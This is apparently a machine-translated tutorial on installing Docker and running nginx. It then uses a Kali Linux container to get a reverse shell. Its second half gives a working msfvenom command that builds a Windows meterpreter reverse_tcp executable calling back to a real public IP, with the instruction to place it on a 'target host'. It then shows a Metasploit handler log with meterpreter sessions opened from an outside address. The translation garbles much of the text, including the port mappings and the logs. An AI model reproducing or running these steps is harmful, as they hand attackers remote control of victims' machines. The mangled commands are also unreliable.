Docker usage tutorial
1. Buy an extranet server, here I use centos2. Configure yum source wget https://mirrors.ustc.edu.cn/docker-ce/linux/centos/docker-ce.repo-O / etc/yum.repos.d/docker-ce.repoyum clean all; yum makecache fast-- refresh yum source 3. Install and start dockeryum-y install docker-cesystemctl restart dockersystemctl enable docker boot 4. Search and install Container 4.1 take nginx as an example docker search nginx search for docker pull nginx installation nginx4.2 launch nginxdocker run-- name web1-d-p 80:80 nginx--name: indicates the name of startup-d: daemon, daemon-p: set the mapping port verification page, enter the URL to access
Make changes to the page:
Docker exec-it web1 / bin/bash enter the container root@3e93e119b79c:/# cat / usr/share/nginx/html/ 50x.html index.htmlroot@3e93e119b79c:/# echo "test nginx page" > / usr/share/nginx/html/index.html exit using exit, then refresh the previous web page, and the welcome page of nginx becomes the modified content above. 5. Install the public network kali
Search first
Docker search kali
Installation
Docker pull booyaabes/kali-linux-full
Use
[root@vultr ~] # docker image lsREPOSITORY TAG IMAGE ID CREATED SIZEbooyaabes/kali-linux-full latest 4bffca040c1c 6 hours ago 8.31GBnginx latest bc26f1ed35cf 16 hours ago 109MB [root@vultr ~] # docker run-it 4bffca040c1croot@c5785446988a:/# cat / etc/os-release PRETTY_NAME= "Kali GNU/Linux Rolling" NAME= "Kali GNU/Linux" ID=kaliVERSION= "2018.4" VERSION_ID= "2018.4" ID_LIKE=debianANSI_COLOR= "1 31 "HOME_URL=" https://www.kali.org/"SUPPORT_URL="https://forums.kali.org/"BUG_REPORT_URL="https://bugs.kali.org/"
Just use it directly.
If you need to listen on the port, implement the connection rebound shell.
Docker run-p 4444Zhou 4455-it booyaabes/kali-linux-full
Use docker to map container port 4455 to port 4444 on local
[root@vultr ~] # docker container lsCONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES8612e672d5db booyaabes/kali-linux-full "/ bin/sh-c\" / bin/ba... " 2 minutes ago Up 2 minutes 0.0.0.0 4455/tcp hungry_ 4444-> 4455/tcp hungry_ Goldberg [root @ vultr ~] # docker attach 8612e672d5db enters the kali container
Make payload (use local kali to make payload)
Root@kal:~# msfvenom-p windows/meterpreter/reverse_tcp LHOST=149.248.8.210 LPORT=4444-f exe > test.exeNo platform was selected, choosing Msf::Module::Platform::Windows from the payloadNo Arch selected, selecting Arch: x86 from the payloadNo encoder or badchars specified, outputting raw payloadPayload size: 341bytesFinal size of exe file: 73802 bytes
Put the exe file on the target host
Running msf in a kali container
[root@vultr ~] # docker attach 9b2fcb0c1d21root@9b2fcb0c1d21:/# msfconsole, /\ ((_ _-- -_ _)) (_) O (_) _\ _ / |\ oconfero\ M S F |\ _ _ | * | WW | | = [metasploit v4.17.14-dev] +-= [1809 exploits-1030 auxiliary-313 post] +-= [539 payloads-42 encoders-10 nops] +-= [Free Metasploit Pro trial: http://r-7.co/trymsp] msf > use exploit/ | Multi/handler msf exploit (multi/handler) > set payload windows/meterpreter/reverse_tcppayload = > windows/meterpreter/reverse_tcpmsf exploit (multi/handler) > set lhost 149.248.8.210lhost = > 149.248.8.210msf exploit (multi/handler) > set lport 4455port = > 4455msf exploit (multi/handler) > run [-] Handler failed to bind to 149.248.210 Sending stage 4455 [*] Sending stage (179779 bytes) to 42.90.91.248 [*] Meterpreter session 1 opened (172.17.0.3Viru 4455-> 42.90.91.248 at 11526) at 2018-09-26 09:39:23 + 0000 [*] Sending stage (179779 bytes) to 42.90.91.248 [*] Meterpreter session 2 opened (172.17.0.3Viru 4455-> 42.90.91.248 at 11528) at 2018-09-26 09:39:25 + 0000meterpreter >
So you get the rebound shell.
Learning from docker: https://yeasy.gitbooks.io/docker_practice/image/